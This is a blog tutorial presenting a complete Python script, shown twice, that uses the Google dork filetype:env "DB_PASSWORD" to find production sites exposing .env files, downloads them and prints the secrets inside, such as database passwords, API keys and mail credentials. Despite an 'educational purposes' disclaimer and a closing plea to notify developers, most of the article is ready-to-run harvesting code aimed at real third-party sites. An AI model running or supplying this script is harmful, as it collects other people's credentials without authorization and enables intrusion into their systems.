# Create a simple exploit with Python


>In this article we will create a simple exploit with Python.

> **NOTE**: Since the entire code snippet is not that long, no final code will be provided on GitLab this time.

## Foreword

**This article is STRICTLY for educational purposes. All the information inside the article is deemed public data and no illegal methods were used in order to obtain this information.**

## Prerequisites

Some prerequisites before you get started:

* [Python 3](https://www.python.org/downloads/)

* [aiohttp](https://pypi.org/project/aiohttp/)

* [beautifulsoup4](https://pypi.org/project/beautifulsoup4/)

Usage of [**venv**](https://docs.python.org/3/library/venv.html) is strongly recommended to keep your python packages separated from your host machine.

## 1. Exploit?

Exploit by definition:

> Exploit - to use someone or something unfairly for your advantage

Not helpful in our case. While this might apply as a *general* term in any sort of business/life event, we need a better definition for coding related world.

> Exploit - code that takes advantage of a software vulnerability or security flaw

Much better. Well, let me tell your right off the bat - we will **not** explore any software vulnerability or security flaw. We will create a code that will give us **publicly available information** about sensitive data that **MAY** be used to inflict certain damage - which we won't do :)

### 1.1 What are we creating?

Good question, glad you asked. When you develop an application - in most cases, you will create a `.env` file that will support (bootstrap) your application with environment variables. Well, some people tend to deploy these files along with the application on a production server instead of using tools like [Vault](https://www.vaultproject.io/) for example.

Keep in mind that this may be a good practice **IF** you do some protective measures. This file has to be [hidden from the public view](https://www.devopsschool.com/blog/how-to-protect-env-file-in-laravel/)!

Some people don't take this seriously, which is quite unfortunate for them.

This information is what we will be exploiting today.

## 2. Python app

Create a **new Python project** and along with it create a new **venv** that will hold our Python packages. Install the required Python packages:

```
pip install aiohttp
pip install beautifulsoup4
```

We will need to search the internet (Google) for this - I will say it one more time - publicly available information. We will want to create some **GET requests**:

```python
async def _get_response(url: str, session: ClientSession) -> ClientResponse:
    resp: ClientResponse = await session.get(
        url,
        headers={
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
        },
        ssl=False,
    )
    resp.raise_for_status()
    return resp
```

Looking good eh? We will send an async (if you don't know how to make use of async, check it out [here](https://blog.vojko.dev/get-started-with-asynchronous-programming-in-python)) request and try to get the response (raise Exception if something goes wrong). We will also try to avoid certain sites from blocking us by making use of the custom `User-Agent` header.

Next step, we need to submit a google search query and convert the response into a `BeautifulSoup` object:

```python
async def _google_search(query: str, session: ClientSession) -> BeautifulSoup:
    response: ClientResponse = await _get_response(
        f"https://google.com/search?q={query}", session
    )
    return BeautifulSoup(await response.text(), "html.parser")
```

So, once the search results are in, and we have our HTML (`await response.text()`) we want to convert it to a soup object which means that Python will be able to **understand and search** the HTML code.

Next - get a list of wanted results:

```python
def _get_results_list(soup: BeautifulSoup, session: ClientSession) -> list:
    results: list = []
    blacklist: list[str] = ["github", "gitlab", "bitbucket"]
    for a in soup.find_all("a", href=True):
        url: str = a["href"]
        if any(x in url for x in blacklist) or not url.endswith(".env"):
            continue
        results.append(_get_response(url, session))
    return results
```

Some devs tend to push the development `.env` files to git repository hosters (GitHub, ...) so we are not interested in those. We put them inside the `blacklist` list.

Now we want to iterate through all of the google search results that contain the links (`a` tag in HTML) and take every single URL that does not contain elements from the `blacklist` list and also ends with `.env`. So we will filter out something like this:

`https://github.com/some-repo/.env`

But we are interested in something like this:

`https://some-production-site.com/.env`

Once we find our targets, we append them inside the `results` list with an available callback `_get_response` for that specific URL.

The final step is to put it all together:

```python
async def exploit(query: str) -> None:
    session: ClientSession = ClientSession()
    try:
        soup: BeautifulSoup = await _google_search(query, session)
        results: list = _get_results_list(soup, session)
        for resp in await asyncio.gather(*results):
            content = await resp.read()
            print("======== START ========")
            print(content.decode())
            print("========  END  ========")
    finally:
        await session.close()


asyncio.run(exploit('filetype:env "DB_PASSWORD"'))
```

The exploit coroutine will firstly create a new async session to be used, then we will submit a google search for the given term (the one that will find the sensitive info) which will return a google search HTML with the vulnerable data. We will then get the `results` list by applying certain filters to all the results that were returned (`_get_results_list` method) and then we will get the content of each of these targeted sites (the content of the `.env` files of each URL from the `results` list) and print it out. Finally, we will close the session when it is no longer needed.

The most important part here is the google search query `filetype:env "DB_PASSWORD"`.

We are searching only for a certain file type (`.env`) that contains certain information inside it (`DB_PASSWORD`).

### 2.1 Full code

For the lazy ones :P

```python
import asyncio

from aiohttp import ClientResponse, ClientSession
from bs4 import BeautifulSoup


async def _get_response(url: str, session: ClientSession) -> ClientResponse:
    resp: ClientResponse = await session.get(
        url,
        headers={
            "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"
        },
        ssl=False,
    )
    resp.raise_for_status()
    return resp


async def _google_search(query: str, session: ClientSession) -> BeautifulSoup:
    response: ClientResponse = await _get_response(
        f"https://google.com/search?q={query}", session
    )
    return BeautifulSoup(await response.text(), "html.parser")


def _get_results_list(soup: BeautifulSoup, session: ClientSession) -> list:
    results: list = []
    blacklist: list[str] = ["github", "gitlab", "bitbucket"]
    for a in soup.find_all("a", href=True):
        url: str = a["href"]
        if any(x in url for x in blacklist) or not url.endswith(".env"):
            continue
        results.append(_get_response(url, session))
    return results


async def exploit(query: str) -> None:
    session: ClientSession = ClientSession()
    try:
        soup: BeautifulSoup = await _google_search(query, session)
        results: list = _get_results_list(soup, session)
        for resp in await asyncio.gather(*results):
            content = await resp.read()
            print("======== START ========")
            print(content.decode())
            print("========  END  ========")
    finally:
        await session.close()


asyncio.run(exploit('filetype:env "DB_PASSWORD"'))

```

## Closing words

We **did not do any illegal hacking** with this simple exploit. We can't even call it an exploit since everything we did here is available publicly, we just know what to search for - right?

With that being said, once you execute this code, you will see **some sensitive information being printed out** like passwords, API keys, mail credentials, etc.

**BE A GOOD GUY, NOT AN A&ast;&ast;HOLE** - help these devs to fix their security holes and let them know something is wrong on their site.

If you don't want to be the good guy, well, cybercrime is a serious offense so keep that in mind :)

As always, thanks for reading!
